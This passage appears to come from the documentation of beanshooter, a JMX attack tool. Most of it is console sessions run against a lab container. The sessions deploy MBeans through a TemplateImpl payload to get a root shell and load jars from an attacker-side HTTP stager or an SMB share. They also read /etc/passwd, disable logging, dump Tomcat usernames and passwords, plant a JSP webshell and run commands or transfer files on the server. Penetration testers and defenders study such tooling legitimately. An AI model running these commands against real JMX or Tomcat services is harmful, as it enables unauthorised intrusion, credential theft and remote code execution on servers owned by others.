Creating a TemplateImpl payload object to abuse StandardMBean\n[+]\n[+] \tDeplyoing MBean: StandardMBean\n[+] \tMBean with object name de.qtc.beanshooter:standard=4121868972140 was successfully deployed.\n[+]\n[+] \tCaught NullPointerException while invoking the newTransformer action.\n[+] \tThis is expected bahavior and the attack most likely worked :)\n[+]\n[+] \tRemoving MBean with ObjectName de.qtc.beanshooter:standard=4121868972140 from the MBeanServer.\n[+] \tMBean was successfully removed.\n[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010\n[root@172.17.0.2 /]$ id\nuid=0(root) gid=0(root) groups=0(root)\n```\n\nThe huge advantage compared to the regular `tonka deploy` action is that deployment via the *StandardMBean*\ndoes not require an outbound network connection. If a direct deployment via `standard ... tonka` does not work,\nyou may be able to upload the *TonkaBean* Jar file and load it via *MLet* and the `file://` protocol:\n\n```console\n[qtc@devbox ~]$ beanshooter tonka export --stager-url file:///tmp/\n[+] Exporting MBean jar file: ./tonka-bean-4.0.0-jar-with-dependencies.jar\n[+] Exporting MLet HTML file to: ./index.html\n[+] \tClass:     de.qtc.beanshooter.tonkabean.TonkaBean\n[+] \tArchive:   tonka-bean-4.0.0-jar-with-dependencies.jar\n[+] \tObject:    MLetTonkaBean:name=TonkaBean,id=1\n[+] \tCodebase:  file:/tmp/\n[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 upload tonka-bean-4.0.0-jar-with-dependencies.jar::/tmp/tonka-bean-4.0.0-jar-with-dependencies.jar\n[+] Creating a TemplateImpl payload object to abuse StandardMBean\n[+]\n[+] \tDeplyoing MBean: StandardMBean\n[+] \tMBean with object name de.qtc.beanshooter:standard=4825542879735 was successfully deployed.\n[+]\n[+] \tCaught NullPointerException while invoking the newTransformer action.\n[+] \tThis is expected bahavior and the attack most likely worked :)\n[+]\n[+] \tRemoving MBean with ObjectName de.qtc.beanshooter:standard=4825542879735 from the MBeanServer.\n[+] \tMBean was successfully removed.\n[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 upload index.html::/tmp/index.html\n[+] Creating a TemplateImpl payload object to abuse StandardMBean\n[+]\n[+] \tDeplyoing MBean: StandardMBean\n[+] \tMBean with object name de.qtc.beanshooter:standard=4836961801045 was successfully deployed.\n[+]\n[+] \tCaught NullPointerException while invoking the newTransformer action.\n[+] \tThis is expected bahavior and the attack most likely worked :)\n[+]\n[+] \tRemoving MBean with ObjectName de.qtc.beanshooter:standard=4836961801045 from the MBeanServer.\n[+] \tMBean was successfully removed.\n[qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url file:///tmp/index.html\n[+] Starting MBean deployment.\n[+]\n[+] \tDeplyoing MBean: TonkaBean\n[+]\n[+] \t\tMBean class is not known by the server.\n[+] \t\tStarting MBean deployment.\n[+]\n[+] \t\t\tDeplyoing MBean: MLet\n[+] \t\t\tMBean with object name DefaultDomain:type=MLet was successfully deployed.\n[+]\n[+] \t\tLoading MBean from file:///tmp/index.html\n[+]\n[+] \tMBean with object name MLetTonkaBean:name=TonkaBean,id=1 was successfully deployed.\n```\n\nIf you want to know more about the technique that is implemented by the `standard` action, I highly\nrecommend this [blog post](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html)\nby [CODE WHITE](https://twitter.com/codewhitesec) which explains it in great detail.\n\n#### Undeploy\n\nThe `undeploy` action removes the *MBean* with the specified `ObjectName` from the *JMX* service:\n\n```console\n[qtc@devbox ~]$ beanshooter undeploy 172.17.0.2 9010 qtc.test:type=Example \n[+] Removing MBean with ObjectName qtc.test:type=Example from the MBeanServer.\n[+] MBean was successfully removed.\n```\n\n\n### MBean Operations\n\n---\n\nIn contrast to [basic operations](#basic-operations) that target the general functionality exposed by a *JMX*\nendpoint, *MBean operations* target a specific *MBean*. For each supported *MBean*, *beanshooter* provides\nanother subparser containing the available operations and options for the corresponding *MBean*. The following\nlisting shows an example for the `mlet` *MBean* and the associated subparser:\n\n```console\n[qtc@devbox ~]$ beanshooter mlet -h\nusage: beanshooter mlet [-h]   ...\n\npositional arguments:\n\n    load                 load a new MBean from the specified URL\n    attr                 set or get MBean attributes\n    deploy               deploys the specified MBean on the JMX server\n    info                 print server information about the MBean\n    invoke               invoke the specified method on the MBean\n    stats                print local information about the MBean\n    status               checks whether the MBean is registered\n    undeploy             undeploys the specified MBEAN from the JMX server\n\nnamed arguments:\n  -h, --help             show this help message and exit\n```\n\n\n### Generic MBean Operations\n\n---\n\nSome *beanshooter* operations are available for each *MBean* and are demonstrated in this section.\nThese generic *MBean* operations often mirror functionality from the [basic operations](#basic-operations),\nbut without the requirement of specifying an *ObjectName*.\n\n#### Generic Attr\n\nThe `attr` action works the same as the `attr` action from the basic operations. However, the *ObjectName*\ndoes no longer need to be specified, as it is contained within the specified *MBean*.\n\n```console\n[qtc@devbox ~]$ beanshooter tomcat attr 172.17.0.2 1090 users\nUsers:type=User,username=\"manager\",database=UserDatabase\nUsers:type=User,username=\"admin\",database=UserDatabase\nUsers:type=User,username=\"status\",database=UserDatabase\n```\n\n#### Generic Deploy\n\nThe `deploy` action works basically like the `deploy` action from the [basic operations](#basic-operations).\nHowever, since the class name, `ObjectName` and the implementing jar file are all already associated with\nthe specified *MBean*, you only need to specify the `--stager-url` option with this action (assuming that\na builtin jar file is available):\n\n```console\n[qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url http://172.17.0.1:8000\n[+] Starting MBean deployment.\n[+]\n[+] \tDeplyoing MBean: TonkaBean\n[+]\n[+] \t\tMBean class is not known to the server.\n[+] \t\tLoading MBean from http://172.17.0.1:8000\n[+]\n[+] \t\t\tCreating HTTP server on: 172.17.0.1:8000\n[+] \t\t\t\tCreating MLetHandler for endpoint: /\n[+] \t\t\t\tCreating JarHandler for endpoint: /440441bf8c794d40a83caf1e34cd9993\n[+] \t\t\t\tStarting HTTP server... \n[+] \t\t\t\t\n[+] \t\t\tIncoming request from: iinsecure.example\n[+] \t\t\tRequested resource: /\n[+] \t\t\tSending mlet:\n[+]\n[+] \t\t\t\tClass:     de.qtc.beanshooter.tonkabean.TonkaBean\n[+] \t\t\t\tArchive:   440441bf8c794d40a83caf1e34cd9993\n[+] \t\t\t\tObject:    MLetTonkaBean:name=TonkaBean,id=1\n[+] \t\t\t\tCodebase:  http://172.17.0.1:8000\n[+]\n[+] \t\t\tIncoming request from: iinsecure.example\n[+] \t\t\tRequested resource: /440441bf8c794d40a83caf1e34cd9993\n[+] \t\t\tSending jar file with md5sum: 55a843002e13f763137d115ce4caf705\n[+]\n[+] \tMBean with object name MLetTonkaBean:name=TonkaBean,id=1 was successfully deployed\n```\n\nFrom *beanshooter v4.1.0* on, it is also possible to deploy the *TonkaBean* via the [standard](#standard) action.\nBean deployment via the `standard` action **does not** require outbound network connections from the target server.\n\n#### Generic Export\n\nSometimes it is not possible to serve an *MBean* implementation using *beanshooters* stager server. A common\nscenario is that outbound connections to your local machine are blocked. In these situations, you may want\nto load the *MBean* from another location, like an *SMB* service in the internal network where you have write\naccess to.\n\nThe `export` action exports the *jar* file implementing the specified *MBean* and a corresponding *MLet HTML*\ndocument that is required for loading the *MBean* using *MLet*. Assuming you want to serve the *TonkaBean*\nform an *SMB* service listening on `10.10.10.5`, you could use the following command:\n\n```console\n[qtc@devbox ~]$ beanshooter tonka export --export-dir export --stager-url file:////10.10.10.5/share/\n[+] Exporting MBean jar file: export/tonka-bean-3.0.0-jar-with-dependencies.jar\n[+] Exporting MLet HTML file to: export/index.html\n[+] \tClass:     de.qtc.beanshooter.tonkabean.TonkaBean\n[+] \tArchive:   tonka-bean-3.0.0-jar-with-dependencies.jar\n[+] \tObject:    MLetTonkaBean:name=TonkaBean,id=1\n[+] \tCodebase:  file:////10.10.10.5/share/\n```\n\nAfterwards, you can upload the exported *jar* and the `index.html` file to the *SMB* service and use the *beanshooters*\ndeploy action with the `--stager-url file:////10.10.10.5/share/index.html` option.\n\n#### Generic Info\n\nThe `info` action lists method and attribute information of the specified *MBean*:\n\n```console\n[qtc@devbox ~]$ beanshooter tomcat info 172.17.0.2 1090\n[+] MBean Class: org.apache.catalina.mbeans.MemoryUserDatabaseMBean\n[+] ObjectName: Users:type=UserDatabase,database=UserDatabase\n[+]\n[+] \tAttributes:\n[+] \t\tmodelerType (type: java.lang.String , writable: false)\n[+] \t\treadonly (type: boolean , writable: false)\n[+] \t\troles (type: [Ljava.lang.String; , writable: false)\n[+] \t\tgroups (type: [Ljava.lang.String; , writable: false)\n[+] \t\tusers (type: [Ljava.lang.String; , writable: false)\n[+] \t\tpathname (type: java.lang.String , writable: true)\n[+] \t\twritable (type: null , writable: false)\n[+]\n[+] \tOperations:\n[+] \t\tjava.lang.String findGroup(java.lang.String groupname)\n[+] \t\tjava.lang.String createUser(java.lang.String username, java.lang.String password, java.lang.String fullName)\n[+] \t\tvoid removeGroup(java.lang.String groupname)\n[+] \t\tvoid removeUser(java.lang.String username)\n[+] \t\tvoid save()\n[+] \t\tjava.lang.String findRole(java.lang.String rolename)\n[+] \t\tvoid removeRole(java.lang.String rolename)\n[+] \t\tjava.lang.String createGroup(java.lang.String groupname, java.lang.String description)\n[+] \t\tjava.lang.String findUser(java.lang.String username)\n[+] \t\tjava.lang.String createRole(java.lang.String rolename, java.lang.String description)\n```\n\n#### Generic Invoke\n\nThe `invoke` action can be used to invoke an arbitrary method on the specified *MBean*:\n\n```console\n[qtc@devbox ~]$ beanshooter tomcat invoke 172.17.0.2 1090 --signature 'findUser(String username)' admin\nUsers:type=User,username=\"admin\",database=UserDatabase\n```\n\n#### Generic Stats\n\nThe `stats` action lists some general information on the specified *MBean*. This is the information\nthat *beanshooters* locally stores on the corresponding *MBean* and no server interaction is required.\n\n```console\n[qtc@devbox ~]$ beanshooter tonka stats\n[+] MBean: tonka\n[+] \tObject Name: \t MLetTonkaBean:name=TonkaBean,id=1\n[+] \tClass Name: \t de.qtc.beanshooter.tonkabean.TonkaBean\n[+] \tJar File: \t     available (tonka-bean-3.0.0-jar-with-dependencies.jar)\n```\n\nThe `Jar File` information indicates whether an implementation of the corresponding *MBean* is builtin\ninto *beanshooter*. This jar file is used during deployment, if not overwritten using the `--jar-file`\noption. Currently, the *TonkaBean* is the only *MBean* that has a *Jar File* available.\n\n#### Generic Status\n\nThe `status` action checks whether the corresponding *MBean* is already available on the *JMX* service:\n\n```console\n[qtc@devbox ~]$ beanshooter tonka status 172.17.0.2 9010\n[+] MBean Status: not deployed\n```\n\n#### Generic Undeploy\n\nThe undeploy action removes the specified *MBean* from a remote *JMX* service:\n\n```console\n[qtc@devbox ~]$ beanshooter tonka undeploy 172.17.0.2 9010 \n[+] Removing MBean with ObjectName MLetTonkaBean:name=TonkaBean,id=1 from the MBeanServer.\n[+] MBean was successfully removed.\n```\n\n\n### Diagnostic\n\n---\n\nThe *DiagnosticCommandMBean* is a useful *MBean* that is ofted deployed by default on *JMX servers*.\nIt implements several different methods that are interesting from an offensive perspective. Some of\nthem are implemented as *beanshooter* operations. Others can of course be invoked manually.\n\n#### Diagnostic Read\n\nThe `read` operation can be used to read textfiles on the *MBean* server. The operation uses the\n`addCompilerDirective` method to cause an exception that contains the contents of the specified\ntext file:\n\n```console\n[qtc@devbox ~]$ beanshooter diagnostic read 172.17.0.2 1090 /etc/passwd\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\n...\n```\n\nThis technique was originally implemented by [@TheLaluka](https://twitter.com/TheLaluka) within the\n[jolokia-exploitation-toolkit](https://github.com/laluka/jolokia-exploitation-toolkit).\n\n#### Diagnostic Load\n\nThe `load` operation can be used to load a shared library from the file system of the *JMX server*:\n\n```console\n[qtc@devbox ~]$ beanshooter diagnostic load 172.17.0.2 1090 /lib/x86_64-linux-gnu/libc.so.6\n[+] The server complained about the missing function Agent_OnAttach\n[+] The specified library was loaded succesfully.\n```\n\n#### Diagnostic Logfile\n\nThe `logfile` action can be used to change the logfile location of the *JVM*:\n\n```console\n[qtc@devbox ~]$ beanshooter diagnostic logfile 172.17.0.2 1090 /tmp/test.log\n[+] Logfile path was successfully set to /tmp/test.log\n```\n\n#### Diagnostic Nolog\n\nThe `nolog` action can be used to disable logging (useful to close the logfile handle):\n\n```console\n[qtc@devbox ~]$ beanshooter diagnostic nolog 172.17.0.2 1090\n[+] Logging was disabled successfully.\n```\n\n#### Diagnostic Cmdline\n\nThe `cmdline` action prints the cmdline the *JVM* was launched with:\n\n```console\n[qtc@devbox ~]$ beanshooter diagnostic cmdline 172.17.0.2 1090\nVM Arguments:\njvm_args: --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED -Djava.util.logging.config.file=/usr/local/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -Dcatalina.base=/usr/local/tomcat -Dcatalina.home=/usr/local/tomcat -Djava.io.tmpdir=/usr/local/tomcat/temp -Djava.rmi.server.hostname=iinsecure.example -Djavax.net.ssl.keyStorePassword=password -Djavax.net.ssl.keyStore=/opt/store.p12 -Djavax.net.ssl.keyStoreType=pkcs12 -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.local.only=false -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.port=1090 -Dcom.sun.management.jmxremote.rmi.port=1099\njava_command: org.apache.catalina.startup.Bootstrap start\njava_class_path (initial): /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar\nLauncher Type: SUN_STANDARD\n```\n\n#### Diagnostic Props\n\nThe `props` action prints a list of system properties:\n\n```console\n[qtc@devbox ~]$ beanshooter diagnostic props 172.17.0.2 1090\n#Mon Jul 25 19:17:52 UTC 2022\ncom.sun.management.jmxremote.rmi.port=1099\nawt.toolkit=sun.awt.X11.XToolkit\njava.specification.version=11\nsun.cpu.isalist=\n...\n```\n\n\n### HotSpot\n\n---\n\nThe *HotSpotDiagnosticMXBean* provides an interface for managing the *HotSpot Virtual Machine*\nand supports some methods that are useful from an offensive perspective.\n\n#### HotSpot dump\n\nThe `dump` action creates a heapdump and saves it to an arbitrary location on the application server.\nThe only requirement is, that the dump is saved as a file with the `.hprof` extension:\n\n```console\n[qtc@devbox ~]$ beanshooter hotspot dump 172.17.0.2 1090 /tmp/dump.hprof\n[+] Heapdump file /tmp/dump.hprof was created successfully.\n```\n\n#### HotSpot list\n\nThe `list` action prints a list of available *Diagnostic Options* and their associated values:\n\n```console\n[qtc@devbox ~]$ beanshooter hotspot list 172.17.0.2 1090\n[+] HeapDumpBeforeFullGC (value = false, writable = true)\n[+] HeapDumpAfterFullGC (value = false, writable = true)\n[+] HeapDumpOnOutOfMemoryError (value = false, writable = true)\n[+] HeapDumpPath (value = , writable = true)\n...\n```\n\n#### HotSpot get\n\nThe `get` action allows to obtain the value of the specified option:\n\n```console\n[qtc@devbox ~]$ beanshooter hotspot get 172.17.0.2 1090 HeapDumpBeforeFullGC\n[+] Name: HeapDumpBeforeFullGC\n[+] Value: false\n[+] Writable: true\n```\n\n#### HotSpot set\n\nThe `set` action allows to set the value of the specified option:\n\n```console\n[qtc@devbox ~]$ beanshooter hotspot set 172.17.0.2 1090 HeapDumpBeforeFullGC true\n[+] Option was set successfully.\n[qtc@devbox ~]$ beanshooter hotspot get 172.17.0.2 1090 HeapDumpBeforeFullGC\n[+] Name: HeapDumpBeforeFullGC\n[+] Value: true\n[+] Writable: true\n```\n\n\n### MLet\n\n---\n\nThe *MLetMBean* is a well known *MBean* that can be used for loading additional *MBeans* over the\nnetwork. It is already implicitly used by *beanshooters* `deploy` action, but can also be invoked\nmanually using the `mlet` operation.\n\n#### MLet Load\n\nThe currently only implemented *MLet* method is the `load` operation that can be used to load\nan *MBean* class from a user specified *URL*:\n\n```console\n[qtc@devbox ~]$ beanshooter mlet load 172.17.0.2 9010 tonka http://172.17.0.1:8000\n[+] Starting MBean deployment.\n[+]\n[+] \tDeplyoing MBean: MLet\n[+] \tMBean with object name DefaultDomain:type=MLet was successfully deployed.\n[+]\n[+] Loading MBean from http://172.17.0.1:8000\n[+]\n[+] \tCreating HTTP server on: 172.17.0.1:8000\n[+] \t\tCreating MLetHandler for endpoint: /\n[+] \t\tCreating JarHandler for endpoint: /3584de270132420aaf0812366bc46035\n[+] \t\tStarting HTTP server... \n[+] \t\t\n[+] \tIncoming request from: iinsecure.example\n[+] \tRequested resource: /\n[+] \tSending mlet:\n[+]\n[+] \t\tClass:     de.qtc.beanshooter.tonkabean.TonkaBean\n[+] \t\tArchive:   3584de270132420aaf0812366bc46035\n[+] \t\tObject:    MLetTonkaBean:name=TonkaBean,id=1\n[+] \t\tCodebase:  http://172.17.0.1:8000\n[+]\n[+] \tIncoming request from: iinsecure.example\n[+] \tRequested resource: /3584de270132420aaf0812366bc46035\n[+] \tSending jar file with md5sum: b2f7040f7d8f2d1f40b205d631ff7356\n[+]\n[+] MBean was loaded successfully.\n```\n\nThe example above demonstrates how the *TonkaBean* can be manually loaded using the `mlet` operation. If\nyou want to load a custom *MBean* instead, you need to specify the keyword `custom` instead of `tonka` and supply\nthe `--class-name`, `--object-name` and `--jar-file` options:\n\n```console\n[qtc@devbox ~]$ beanshooter mlet load 172.17.0.2 9010 custom http://172.17.0.1:8000 --class-name de.qtc.beanshooter.ExampleBean --object-name ExampleBean:name=ExampleBean,id=1 --jar-file www/example.jar\n[+] Starting MBean deployment.\n[+] ...\n[+] MBean was loaded successfully.\n```\n\n\n### Recoder\n\n---\n\nThe *FlightRecorderMXBean* provides an interface for managing the *Flight Recorder*\nand supports some methods that are interesting from an offensive prespective.\n\n#### Recoder new\n\nThe `new` operation starts a new recording. The returned recording ID can be used as a target\nfor other operations:\n\n```console\n[qtc@devbox ~]$ beanshooter recorder new 172.17.0.2 1090\n[+] Requesting new recording on the MBeanServer.\n[+] New recording created successfully with ID: 1\n```\n\n#### Recoder start\n\nThe `start` action starts an already existing recording and expects the recording ID as an additional argument:\n\n```console\n[qtc@devbox ~]$ beanshooter recorder start 172.17.0.2 1090 1\n[+] Recording with ID 1 started successfully.\n```\n\n#### Recoder dump\n\nWhile an recording is active, its contents can be dumped using the `dump` action. This stores the recording\ninformation in a dump file on the *JMX server*:\n\n```console\n[qtc@devbox ~]$ beanshooter recorder dump 172.17.0.2 1090 1 /tmp/dump.dat\n[+] Recording with ID 1 was successfully dumped to /tmp/dump.dat\n```\n\n#### Recorder stop\n\nThe `stop` action can be used to stop a recording:\n\n```console\n[qtc@devbox ~]$ beanshooter recorder stop 172.17.0.2 1090 1\n[+] Recording with ID 1 stopped successfully.\n```\n\n#### Recorder save\n\nAfter a recording was stopped, it can be saved using the `save` action. In contrast to the `dump` action,\nthis saves the recording on the local machine instead on the application server.\n\n```console\n[qtc@devbox ~]$ beanshooter recorder save 172.17.0.2 1090 1 recording.dat\n[+] Saving recording with ID: 1\n[+] Writing recording data to: /home/qtc/recording.dat\n```\n\n\n### Tomcat\n\n---\n\nThe `tomcat` operation interacts with the `MemoryUserDatabaseMBean` of *Apache Tomcat*. This *MBean* provides access to user\naccounts that are available on a *Tomcat* service.\n\n#### Tomcat Dump\n\nThe `dump` action dumps usernames and passwords available on the *Tomcat* server into local files.\nWhen invoked with a single argument, credentials are dumped in `\u003cusername\u003e:\u003cpassword\u003e` format:\n\n```console\n[qtc@devbox ~]$ beanshooter tomcat dump 172.17.0.2 1090 creds.txt\n[+] Dumping credentials...\n[+] Users dumped to /home/qtc/creds.txt\n[qtc@devbox ~]$ cat creds.txt\nmanager:P@55w0rD#\nadmin:s3cr3T!$\nstatus:cr@cKM3o.O\n```\n\nWhen invoked with two arguments, usernames are stored in the first specified location, passwords\nin the second one:\n\n```console\n[qtc@devbox ~]$ beanshooter tomcat dump 172.17.0.2 1090 users.txt passwords.txt\n[+] Dumping credentials...\n[+] Users dumped to /home/qtc/users.txt\n[+] Passwords dumped to /home/qtc/passwords.txt\n```\n\n#### Tomcat List\n\nThe `list` operation lists available user accounts, their associated roles and credentials:\n\n```console\n[qtc@devbox ~]$ beanshooter tomcat list 172.17.0.2 1090\n[+] Listing tomcat users:\n[+]\n[+] \t----------------------------------------\n[+] \tUsername:  manager\n[+] \tPassword:  P@55w0rD#\n[+] \tRoles:\n[+] \t\t   Users:type=Role,rolename=\"manager-gui\",database=UserDatabase\n[+] \t\t   Users:type=Role,rolename=\"manager-script\",database=UserDatabase\n[+] \t\t   Users:type=Role,rolename=\"manager-jmx\",database=UserDatabase\n[+] \t\t   Users:type=Role,rolename=\"manager-status\",database=UserDatabase\n[+]\n[+] \t----------------------------------------\n[+] \tUsername:  admin\n[+] \tPassword:  s3cr3T!$\n[+] \tRoles:\n[+] \t\t   Users:type=Role,rolename=\"admin-gui\",database=UserDatabase\n[+] \t\t   Users:type=Role,rolename=\"admin-script\",database=UserDatabase\n[+]\n[+] \t----------------------------------------\n[+] \tUsername:  status\n[+] \tPassword:  cr@cKM3o.O\n[+] \tRoles:\n[+] \t\t   Users:type=Role,rolename=\"manager-status\",database=UserDatabase\n```\n\n#### Tomcat Write\n\nThe `write` operation writes a partially controlled file to an arbitrary location on the application\nserver. This action can be used to reliably deploy a webshell on a *Tomcat* service:\n\n```console\n[qtc@devbox ~]$ beanshooter tomcat write 172.17.0.2 1090 /opt/webshell-cli/webshells/webshell.jsp /usr/local/tomcat/webapps/ROOT/shell.jsp\n[+] Writing local file /opt/webshell-cli/webshells/webshell.jsp to server location /usr/local/tomcat/webapps/ROOT/shell.jsp\n[+] \tCurrent user database is at conf/tomcat-users.xml\n[+] \tCurrent user database is readonly\n[+] \tAdjusting readonly property to make it writable.\n[+] \tChanging database path to /usr/local/tomcat/webapps/ROOT/shell.jsp\n[+] \tCreating new role containing the local file content.\n[+] \tSaving modified user database.\n[+] \tRestoring readonly property.\n[+] \tRestoring pathname property.\n[+] All done.\n[qtc@devbox ~]$ webshell-cli http://172.17.0.2:8080/shell.jsp\n[root@d475fdb21692 /usr/local/tomcat]$ id\nuid=0(root) gid=0(root) groups=0(root)\n```\n\nThe `write` action abuses an encoding bug within the *UserDatabase MBean* of *Apache Tomcat*. We reported\nthe bug, but it was not considered a security vulnerability. For writing to arbitrary locations, *beanshooter*\nneeds to change the location of the *UserDatabase*. All changes are restored, after the desired file was written,\nbut still be careful in production environments.\n\n\n### Tonka\n\n---\n\nThe *TonkaBean* is a custom *MBean* that is implemented by the *beanshooter* project and allows\nfile system access and command execution on the *JMX* server. Its actions can be accessed by\nusing the `tonka` operation, followed by the desired action.\n\n#### Tonka Exec\n\nThe `exec` action can be used to invoke a single command on the *JMX* service:\n\n```console\n[qtc@devbox ~]$ beanshooter tonka exec 172.17.0.2 9010 id\n[+] Invoking the executeCommand method with argument: id\n[+] The call was successful\n[+]\n[+] Server response:\nuid=0(root) gid=0(root) groups=0(root)\n```\n\nThe last argument of the exec operation is expected to be a string. When the `--shell` option is not\nused, this string is split on spaces (quotes aware) and passed as an array to the `ProcessBuilder`\nclass on the server side.\n\nIf `--shell` was used, the specified shell string is split on spaces and the resulting array is\njoined with the specified argument string before passing it to the `ProcessBuilder` class. This\nallows shell like execution with correctly interpreted shell special characters:\n\n```console\n[qtc@devbox ~]$ beanshooter tonka exec 172.17.0.2 9010 --shell 'ash -c' 'echo $HOSTNAME'\n[+] Invoking the executeCommand method with argument: ash -c echo $HOSTNAME\n[+] The call was successful\n[+]\n[+] Server response:\nfee2d783023b\n```\n\nFor convenience, common shells are automatically suffixed with the required command string argument.\nTherefore, `--shell ash` is automatically converted to `--shell 'ash -c'`.\n\n#### Tonka Execarray\n\nThe `execarray` operation is very similar to the `exec` action, but instead of expecting a string as argument\nand splitting this string on spaces to construct the command array, the `execarray` operation allows multiple\narguments to be specified that are used directly as the command array for the `ProcessBuilder` class:\n\n```console\n[qtc@devbox ~]$ beanshooter tonka execarray 172.17.0.2 9010 -- ash -c 'echo $HOME'\n[+] Invoking the executeCommand method with argument: ash -c echo $HOME\n[+] The call was successful\n[+]\n[+] Server response:\n/root\n```\n\n#### Tonka Shell\n\nThe `shell` action spawns a command shell where you can specify commands that are executed on the *JMX*\nserver. The shell is not fully interactive and just represents a wrapper around *Javas* `Runtime.exec`\nmethod. However, basic support for environment variables and a current working directory is implemented:\n\n```console\n[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010\n[root@172.17.0.2 /]$ id\nuid=0(root) gid=0(root) groups=0(root)\n[root@172.17.0.2 /]$ cd /home\n[root@172.17.0.2 /home]$ !env test=example\n[root@172.17.0.2 /home]$ echo $test\nexample\n```\n\nThe example above demonstrates how to set environment variables using the `!env` keyword. Apart from this\nkeyword, several others are available:\n\n```console\n[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010\n[root@172.17.0.2 /]$ !help\nAvailable shell commands:\n  \u003ccmd\u003e                        execute the specified command\n  cd \u003cdir\u003e                     change working directory on the server\n  exit|quit                    exit the shell\n  !help|!h                     print this help menu\n  !environ|!env \u003ckey\u003e=\u003cvalue\u003e  set new environment variables in key=value format\n  !upload|!put \u003csrc\u003e \u003cdst\u003e     upload a file to the remote MBeanServer\n  !download|!get \u003csrc\u003e \u003cdst\u003e   download a file from the remote MBeanServer\n  !background|!back \u003ccmd\u003e      executes the specified command in the background\n```\n\n#### Tonka Upload\n\nThe `upload` action can be used to upload a file to the *JMX* server:\n\n```console\n[qtc@devbox ~]$ beanshooter tonka upload 172.17.0.2 9010 file.dat /tmp\n[+] Uploading local file /home/qtc/file.dat to path /tmp on the MBeanSerer.\n[+] 33 bytes were written to /tmp/file.dat\n```\n\n#### Tonka Download\n\nThe `download` action can be used to download a file from the *JMX* server:\n\n```console\n[qtc@devbox ~]$ beanshooter tonka download 172.17.0.2 9010 /etc/passwd\n[+] Saving remote file /etc/passwd to local path /home/qtc/passwd\n[+] 1172 bytes were written to /home/qtc/passwd\n```\n\n\n### JMXMP\n\n---\n\n*JMX* services can use different connector types. The by far most commonly used connector is *Java RMI*, which\nallows access to *JMX* based on the *Java RMI* protocol. Another popular connector is the *JMX Message Protocol*\n(*JMXMP*) that, despite being outdated, is still encountered quite often. *beanshooter* has builtin *JMXMP* support\nand attempts to connect via *JMXMP* when using the `--jmxmp` option:\n\n```console\n[qtc@devbox ~]$ beanshooter enum 172.17.0.2 4444 --jmxmp\n[+] Checking servers SASL configuration:\n[+]\n[+] \t- Remote JMXMP server does not use SASL.\n[+] \t  Login is possible without specifying credentials.\n[+] \t  Vulnerability Status: Vulnerable\n[+]\n[+] Checking pre-auth deserialization behavior:\n[+]\n[+] \t- JMXMP serial check is work in progress but endpoints are usually vulnerable.\n[+] \t  Configuration Status: Undecided\n[+]\n[+] Checking available MBeans:\n[+]\n[+] \t- 22 MBeans are currently registred on the MBean server.\n[+] \t  Found 0 non default MBeans.\n```\n\nAuthenticated *JMXMP* endpoints are usually protected using *SASL*. With *SASL* enabled, a *JMX* endpoint usually requires\nthe client to connect with a specific *SASL Profile*. Available profiles for *beanshooter* are:\n\n* plain\n* digest\n* cram\n* ntlm\n* gssapi\n\nEach of them can optionally be paired with *TLS* by using the `--ssl` option. When using the `enum` action on a *SASL* protected\n*JMXMP* endpoint, *beanshooter* attempts to enumerate the required *SASL* profile. Whereas determining the required *SASL*\nmechanism is usually possible, the required *TLS* setting cannot be enumerated:\n\n```console\n[qtc@devbox ~]$ beanshooter enum 172.17.0.2 4449 --jmxmp\n[+] Checking servers SASL configuration:\n[+]\n[+] \t- Remote JMXMP server uses SASL/NTLM SASL profile.\n[+] \t  Notice: TLS setting cannot be enumerated and --ssl may be required.\n[+] \t  Vulnerability Status: Non Vulnerable\n[+]\n[+] Checking pre-auth deserialization behavior:\n[+]\n[+] \t- JMXMP serial check is work in progress but endpoints are usually vulnerable.\n[+] \t  Configuration Status: Undecided\n```\n\n\n### Jolokia Support\n\n---\n\nStarting from *v4.0.0*, *beanshooter* supports [Jolokia](https://github.com/rhuss/jolokia) based JMX endpoints.\nEstablishing connections to a *Jolokia* based endpoint requires the usual target format and the `--jolokia` flag:\n\n```console\n[qtc@devbox ~]$ beanshooter enum 172.17.0.2 8080 --jolokia --username manager --password admin\n[+] Checking specified credentials:\n[+]\n[+] \t- Login successful! The specified credentials are correct.\n[+] \t  Username: manager  - Password: admin\n[+]\n[+] Checking Jolokia Version:\n[+]\n[+] \t- Agent Version 1.7.1 - Protocol Version: 7.2\n[+] \t  Vulnerability Status: Non Vulnerable\n[+]\n[+] Checking whether Jolokia Proxy Mode is enabled:\n[+]\n[+] \t- Jolokia Proxy Mode is enabled! You may connect to backend JMX services.\n[+] \t  Vulnerability Status: Vulnerable\n[+]\n[+] Checking available MBeans:\n[+]\n[+] \t- 75 MBeans are currently registred on the MBean server.\n[+] \t  Listing 56 non default MBeans:\n...\n```\n\nDue to the limited feature set of *Jolokia*, not all *beanshooter* operations are supported. Please\nconsult the [Jolokia FAQ](/docs/jolokia.md#faq) if you have any questions. For playing around with\n*Jolokia*, *beanshooter* provides an [example server](https://github.com/qtc-de/beanshooter/pkgs/container/beanshooter%2Fjolokia-example-server)\nthat exposes an *Jolokia* endpoint on port `8080`. Additionally, a regular *RMI* based *JMX* 